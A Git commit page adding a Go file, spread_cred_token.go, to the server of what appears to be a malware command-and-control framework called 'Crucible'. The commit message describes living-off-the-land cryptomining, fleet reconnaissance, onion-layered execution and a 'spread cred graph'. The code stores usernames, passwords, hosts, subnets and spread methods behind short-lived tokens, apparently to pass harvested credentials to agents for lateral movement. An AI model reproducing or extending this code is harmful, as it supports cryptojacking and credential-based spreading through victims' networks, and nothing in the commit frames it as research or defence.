Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
60
server/internal/api/spread_cred_token.go
Normal file
60
server/internal/api/spread_cred_token.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const spreadCredTokenTTL = 90 * time.Second
|
||||
|
||||
type spreadCredTokenEntry struct {
|
||||
AgentID string
|
||||
ProfileID string
|
||||
Username string
|
||||
Password string
|
||||
Host string
|
||||
Subnet string
|
||||
Method string
|
||||
ExpiresAt time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
spreadCredTokenMu sync.Mutex
|
||||
spreadCredTokens = map[string]spreadCredTokenEntry{}
|
||||
)
|
||||
|
||||
func issueSpreadCredToken(entry spreadCredTokenEntry) string {
|
||||
b := make([]byte, 24)
|
||||
_, _ = rand.Read(b)
|
||||
token := hex.EncodeToString(b)
|
||||
entry.ExpiresAt = time.Now().Add(spreadCredTokenTTL)
|
||||
|
||||
spreadCredTokenMu.Lock()
|
||||
spreadCredTokens[token] = entry
|
||||
if len(spreadCredTokens) > 1024 {
|
||||
now := time.Now()
|
||||
for k, v := range spreadCredTokens {
|
||||
if now.After(v.ExpiresAt) {
|
||||
delete(spreadCredTokens, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
spreadCredTokenMu.Unlock()
|
||||
return token
|
||||
}
|
||||
|
||||
func consumeSpreadCredToken(token string) (spreadCredTokenEntry, bool) {
|
||||
spreadCredTokenMu.Lock()
|
||||
defer spreadCredTokenMu.Unlock()
|
||||
entry, ok := spreadCredTokens[token]
|
||||
if !ok || time.Now().After(entry.ExpiresAt) {
|
||||
if ok {
|
||||
delete(spreadCredTokens, token)
|
||||
}
|
||||
return spreadCredTokenEntry{}, false
|
||||
}
|
||||
delete(spreadCredTokens, token)
|
||||
return entry, true
|
||||
}
|
||||
Reference in New Issue
Block a user